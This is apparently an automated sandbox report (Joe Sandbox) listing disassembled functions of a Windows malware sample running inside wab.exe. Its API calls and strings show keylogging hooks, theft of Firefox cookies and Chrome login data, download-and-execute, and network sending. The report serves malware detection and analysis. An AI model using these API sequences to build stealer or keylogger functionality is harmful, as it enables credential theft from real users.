                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                            • String ID: lJD$lJD$lJD
                                            • API String ID: 745075371-479184356
                                            • Opcode ID: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                                            • Instruction ID: 5597d49bf91f8be5c1e88387600e3254545b136a20640e737b6730ed74bf2304
                                            • Opcode Fuzzy Hash: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                                            • Instruction Fuzzy Hash: 87518371900205ABDF10DFA5CD41ABF77B8AF19702F14047BFD04E7292E7B899488B69
                                            Function 0040C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C39B
                                            • FindNextFileW.KERNEL32(00000000,?), ref: 0040C46E
                                            • FindClose.KERNEL32(00000000), ref: 0040C47D
                                            • FindClose.KERNEL32(00000000), ref: 0040C4A8
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Find$CloseFile$FirstNext
                                            • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                            • API String ID: 1164774033-405221262
                                            • Opcode ID: 285c5e5c0a0229c45b09239667504c56f02977e4a07d16255c72b533a04b213f
                                            • Instruction ID: 975c513e22faa42ee1994afe11ceef4a5d9ff9fa3a88a4f7cb3cdca8b35e8719
                                            • Opcode Fuzzy Hash: 285c5e5c0a0229c45b09239667504c56f02977e4a07d16255c72b533a04b213f
                                            • Instruction Fuzzy Hash: 4131513150021AA6CB14E7A1DC9ADFE7778AF10718F10017FB105B20D2EF789A49CA4D
                                            Function 0041C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                                            • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                                            • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C38E
                                            • DeleteFileW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C39B
                                              • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                                            • GetLastError.KERNEL32(?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3BC
                                            • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                                            • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                                            • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3E2
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                            • String ID:
                                            • API String ID: 2341273852-0
                                            • Opcode ID: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                                            • Instruction ID: c19bc5cae20e4253aafd1d57f534f4f4794eeb6ee7264df4fdb3445c687e6cd6
                                            • Opcode Fuzzy Hash: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                                            • Instruction Fuzzy Hash: 1331827294031CAADB24E7A1DC88EDB736CAF04305F4405FBF955D2152EB39DAC88B68
                                            Function 00419AF5 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(00000000,?), ref: 00419D4B
                                            • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419E17
                                              • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$Find$CreateFirstNext
                                            • String ID: 8SG$PXG$PXG$NG$PG
                                            • API String ID: 341183262-3812160132
                                            • Opcode ID: 70a9e3f00708a443c6ca5e26428a05552e6f294bdb71f0817eb9d2ef8bf8d511
                                            • Instruction ID: 96038134cf9b6260143958ba34f432c8b7c7433700823f8ab46a3e18139dd1a2
                                            • Opcode Fuzzy Hash: 70a9e3f00708a443c6ca5e26428a05552e6f294bdb71f0817eb9d2ef8bf8d511
                                            • Instruction Fuzzy Hash: D48152315083415AC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A
                                            Function 0040A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
                                            • SetWindowsHookExA.USER32(0000000D,0040A2A4,00000000), ref: 0040A2E1
                                            • GetLastError.KERNEL32 ref: 0040A2ED
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            • GetMessageA.USER32 ref: 0040A33B
                                            • TranslateMessage.USER32(?), ref: 0040A34A
                                            • DispatchMessageA.USER32 ref: 0040A355
                                            Strings
                                            • Keylogger initialization failure: error , xrefs: 0040A301
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                            • String ID: Keylogger initialization failure: error
                                            • API String ID: 3219506041-952744263
                                            • Opcode ID: a0c7fd995aca5085690907e56c9aea0f8c761d2d3ede884cf20f0c391cb5f383
                                            • Instruction ID: 26c2bdf112627336efb266b6f5317542b4ef4d62b82d8858756ad59ca9dca42a
                                            • Opcode Fuzzy Hash: a0c7fd995aca5085690907e56c9aea0f8c761d2d3ede884cf20f0c391cb5f383
                                            • Instruction Fuzzy Hash: FA11BF32604301ABCB107F76DC0A86B77ECEA95716B10457EFC85E21D1EA38C910CBAA
                                            Function 0040A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                                            • String ID:
                                            • API String ID: 1888522110-0
                                            • Opcode ID: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                                            • Instruction ID: 5ff565fa5b8df07833abad56ec5ecbabe923af01fc99f1944a330f9e709d98a3
                                            • Opcode Fuzzy Hash: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                                            • Instruction Fuzzy Hash: AE316D72504308FFD710DF94DC45F9BB7ECAB88705F01083AB645D61A0E7B5E9488BA6
                                            Function 00413FCA Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegCreateKeyExW.ADVAPI32(00000000), ref: 0041409D
                                            • RegCloseKey.ADVAPI32(?), ref: 004140A9
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            • LoadLibraryA.KERNEL32(Shlwapi.dll), ref: 0041426A
                                            • GetProcAddress.KERNEL32(00000000), ref: 00414271
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressCloseCreateLibraryLoadProcsend
                                            • String ID: SHDeleteKeyW$Shlwapi.dll
                                            • API String ID: 2127411465-314212984
                                            • Opcode ID: 31f50e56d7f4f7f2575dbc53f49883a4967628fc93eddf4b35ee6b86778a76ed
                                            • Instruction ID: ad322413622673165c78a8c4b5f48079e939d646f467ca97d3bec1feacf55119
                                            • Opcode Fuzzy Hash: 31f50e56d7f4f7f2575dbc53f49883a4967628fc93eddf4b35ee6b86778a76ed
                                            • Instruction Fuzzy Hash: F9B1F971A0430066CA14FB76DC5B9AF36A86FD1748F40053FF942771E2EE7C9A4886DA
                                            Function 00449190 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • _free.LIBCMT ref: 00449212
                                            • _free.LIBCMT ref: 00449236
                                            • _free.LIBCMT ref: 004493BD
                                            • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                                            • _free.LIBCMT ref: 00449589
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                            • String ID:
                                            • API String ID: 314583886-0
                                            • Opcode ID: 77d567d986389793b8f06509abc4f32cf47dab0ee2822006b3a3c569a4cbc8d8
                                            • Instruction ID: 779aab753f07af14b01adf3fce5c8211df4e7f9331a35af1166ddbde82723190
                                            • Opcode Fuzzy Hash: 77d567d986389793b8f06509abc4f32cf47dab0ee2822006b3a3c569a4cbc8d8
                                            • Instruction Fuzzy Hash: CAC15771900205ABFB24DF69CC41AAFBBA8EF46314F1405AFE89497381E7788E42D758
                                            Function 004167B4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00417952: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                                              • Part of subcall function 00417952: OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                                              • Part of subcall function 00417952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                                              • Part of subcall function 00417952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                                              • Part of subcall function 00417952: GetLastError.KERNEL32 ref: 0041799D
                                            • ExitWindowsEx.USER32(00000000,00000001), ref: 00416856
                                            • LoadLibraryA.KERNEL32(PowrProf.dll), ref: 0041686B
                                            • GetProcAddress.KERNEL32(00000000), ref: 00416872
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                                            • String ID: !D@$PowrProf.dll$SetSuspendState
                                            • API String ID: 1589313981-2876530381
                                            • Opcode ID: cf382c4b4b58b3ccdbeb602cd597e3aae52b34eb44ac0b5ef7fae28ca1f23560
                                            • Instruction ID: 15d3ae9bc4d358b9de40311b9e813ebd0b85961e95f80c383f5c7d57e5fc9640
                                            • Opcode Fuzzy Hash: cf382c4b4b58b3ccdbeb602cd597e3aae52b34eb44ac0b5ef7fae28ca1f23560
                                            • Instruction Fuzzy Hash: 6E21617060430256CB14FBB68856AAE63599F41788F41487FB442A72D3EF3CD845CBAE
                                            Function 0045243C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLocaleInfoW.KERNEL32(00000000,2000000B,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524D5
                                            • GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524FE
                                            • GetACP.KERNEL32(?,?,0045275B,?,00000000), ref: 00452513
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: InfoLocale
                                            • String ID: ACP$OCP$['E
                                            • API String ID: 2299586839-2532616801
                                            • Opcode ID: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                                            • Instruction ID: 65f7b5195a5790e2d5819d7d4b0c6b76a8aa59636dcad79128a037cfc813d78c
                                            • Opcode Fuzzy Hash: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                                            • Instruction Fuzzy Hash: FD21F432600104A7DB348F54CF00AA773A6EB47B1AB168567EC09D7302F7BADD48C398
                                            Function 0040BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA4E
                                            • GetLastError.KERNEL32 ref: 0040BA58
                                            Strings
                                            • [Chrome StoredLogins found, cleared!], xrefs: 0040BA7E
                                            • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA19
                                            • UserProfile, xrefs: 0040BA1E
                                            • [Chrome StoredLogins not found], xrefs: 0040BA72
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: DeleteErrorFileLast
                                            • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                            • API String ID: 2018770650-1062637481
                                            • Opcode ID: 0869f95c927aca72a4aa01e0263511fc677d69a40d3c9f55f6e6efd0e01f34cf
                                            • Instruction ID: af402a2c9819bc64f7c9913ab42ffc044d60d1b3c88a69bbc3d4df1d4d30a246
                                            • Opcode Fuzzy Hash: 0869f95c927aca72a4aa01e0263511fc677d69a40d3c9f55f6e6efd0e01f34cf
                                            • Instruction Fuzzy Hash: 2D01A7B17801056AC70477B6CD5B9BE77249911704F50057FF802725E2FE7D59098ADE
                                            Function 00417952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                                            • OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                                            • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                                            • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                                            • GetLastError.KERNEL32 ref: 0041799D
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                            • String ID: SeShutdownPrivilege
                                            • API String ID: 3534403312-3733053543
                                            • Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                                            • Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
                                            • Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                                            • Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5
                                            Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __EH_prolog.LIBCMT ref: 00409258
                                              • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
                                            • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
                                            • FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
                                            • FindClose.KERNEL32(00000000), ref: 004093C1
                                              • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                                              • Part of subcall function 00404E26: SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                                              • Part of subcall function 00404E26: CloseHandle.KERNEL32(?), ref: 00404E4C
                                            • FindClose.KERNEL32(00000000), ref: 004095B9
                                              • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                                              • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
                                            • String ID:
                                            • API String ID: 1824512719-0
                                            • Opcode ID: 79a333ab798d4f3832fd98009e5fc83f15b4850663dec53ce8833ea938511d01
                                            • Instruction ID: 125c9cc0036adb3739497efb01147483584b5989e706bb19fe9a4109aadf0594
                                            • Opcode Fuzzy Hash: 79a333ab798d4f3832fd98009e5fc83f15b4850663dec53ce8833ea938511d01
                                            • Instruction Fuzzy Hash: DCB18D32900109AACB14EBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB98
                                            Function 0041AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A6A0,00000000), ref: 0041AA53
                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A6A0,00000000), ref: 0041AA68
                                            • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA75
                                            • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A6A0,00000000), ref: 0041AA80
                                            • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA92
                                            • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA95
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Service$CloseHandle$Open$ManagerStart
                                            • String ID:
                                            • API String ID: 276877138-0
                                            • Opcode ID: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                                            • Instruction ID: 9fefcdd13c5f6832e1e8d6374d810b05479d45f16fba084c356bea358aebaaee
                                            • Opcode Fuzzy Hash: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                                            • Instruction Fuzzy Hash: FCF08971101325AFD2119B619C88DFF2B6CDF85BA6B00082AF945921919B68CD49E9B9
                                            Function 0041B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                            Download Yara Rule
                                            APIs
                                            • FindResourceA.KERNEL32 ref: 0041B4B9
                                            • LoadResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4CD
                                            • LockResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4D4
                                            • SizeofResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4E3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Resource$FindLoadLockSizeof
                                            • String ID: SETTINGS
                                            • API String ID: 3473537107-594951305
                                            • Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                                            • Instruction ID: 65170a014006dd87783428e4339c5f85687a52ee3761dac8d56b05c0676c202a
                                            • Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                                            • Instruction Fuzzy Hash: 8AE01A36200B22EBEB311BA5AC4CD473E29F7C97637100075F90596232CB798840DAA8
                                            Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __EH_prolog.LIBCMT ref: 0040966A
                                            • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
                                            • FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
                                            • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Find$File$CloseFirstH_prologNext
                                            • String ID:
                                            • API String ID: 1157919129-0
                                            • Opcode ID: fb173912142d451d8169f8852f62cc003beda93b99b20e6bd32f4a4dc40a9ea1
                                            • Instruction ID: bc6583c976318a9931a9d4e75bf6093b5b8d8c817350453c5398c0af4fd679c1
                                            • Opcode Fuzzy Hash: fb173912142d451d8169f8852f62cc003beda93b99b20e6bd32f4a4dc40a9ea1
                                            • Instruction Fuzzy Hash: 59812B329001199BCB15EBA1DC969EDB378AF14318F10417FE506B71E2EF78AE49CB58
                                            Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __EH_prolog.LIBCMT ref: 00408811
                                            • FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                                            • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                                            • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                                            • String ID:
                                            • API String ID: 1771804793-0
                                            • Opcode ID: 8f16439d90f6ec0f7283b04e08810252f4f5a069acaf261fa4213b3c41c94a9d
                                            • Instruction ID: 1e810be39857a3d86828f92fa26e793a4655b35e172fafea17edde612d57cc14
                                            • Opcode Fuzzy Hash: 8f16439d90f6ec0f7283b04e08810252f4f5a069acaf261fa4213b3c41c94a9d
                                            • Instruction Fuzzy Hash: 16515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99
                                            Function 00406EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FBC
                                            • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070A0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: DownloadExecuteFileShell
                                            • String ID: C:\Program Files (x86)\Windows Mail\wab.exe$open
                                            • API String ID: 2825088817-4078650455
                                            • Opcode ID: 04b4479cfc875b759f2309251f1f784269732d1ca75bb09c24481e831bd5b80b
                                            • Instruction ID: 27a8b34c094a82f854f2ee3e6b31e6014a71d41456184bc7540e3ceb6c1d0c01
                                            • Opcode Fuzzy Hash: 04b4479cfc875b759f2309251f1f784269732d1ca75bb09c24481e831bd5b80b
                                            • Instruction Fuzzy Hash: 6561A171B0830166CA24FB76C8569BE37A59F81748F50093FB942772D2EE3C9905C69B
                                            Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
                                            • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileFind$FirstNextsend
                                            • String ID: XPG$XPG
                                            • API String ID: 4113138495-1962359302
                                            • Opcode ID: ef4afc18dc9d34da461ea20a285219582541565e32a666253127ded6bb227160
                                            • Instruction ID: 6b6d716c6ecdfe6ec78918620e47e684a121d368db73a1555a51ac38f2ecb6eb
                                            • Opcode Fuzzy Hash: ef4afc18dc9d34da461ea20a285219582541565e32a666253127ded6bb227160
                                            • Instruction Fuzzy Hash: 212195325083419BC314FB61D855DEFB3ACAF90358F40493EF696621E1EF78AA09C65B
                                            Function 00451CD8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 236COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                            • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00444A73,?,?,?,?,004444CA,?,00000004), ref: 00451DBA
                                            • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,sJD,00000000,?), ref: 00451EFB
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$CodeInfoLocalePageValid_abort_free
                                            • String ID: sJD
                                            • API String ID: 1661935332-3536923933
                                            • Opcode ID: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                                            • Instruction ID: 601d6103ecad0283333aca7e4f79148897faf6e4cefa34abd84194fcdbd45a0d
                                            • Opcode Fuzzy Hash: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
